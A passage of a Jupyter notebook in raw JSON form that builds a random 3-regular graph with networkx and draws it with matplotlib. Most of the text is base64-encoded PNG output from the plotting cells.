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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x115324d50>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "#nx.view_pygraphviz(G)\n", "N = 20\n", "#H = nx.random_graphs.watts_strogatz_graph(N,5,0.1)\n", "H = nx.random_graphs.random_regular_graph(3,N)\n", "\n", "lbl = {e:e for e in range(N)}\n", "#nx.view_pygraphviz(H)\n", "nx.draw_networkx_nodes(H,node_color=\"black\",alpha=1, node_size=500, pos=nx.spectral_layout(H))\n", "nx.draw(H,labels=lbl,node_color=\"white\",alpha=1, node_size=400, pos=nx.spectral_layout(H))\n", "\n" ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "scrolled": false }, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAACf8AAAHSCAYAAABYACMTAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3VlslFee/vHH+76WWYzBeHdDQtKQBEKAQNgxuCLNxWTU\n0lz13dz1zMX0TUstjTSaTZrbuZubkXrom/mnDGbfTQgJISHphHgFbDCLy2u5ynZt7/+iu45s/Bqq\nwPh12d+PZJUTB+f3mnLVeX/nOeekWJZlCQAAAAAAAAAAAAAAAAAAJI1UpwsAAAAAAAAAAAAAAAAA\nAACJIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECS\nIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwH\nAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAA\nAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAA\nAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAA\nAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAA\nAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECS\nIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwH\nAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAA\nAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAA\nAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAA\nAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAAAECSIfwHAAAAAAAAAAAAAAAA\n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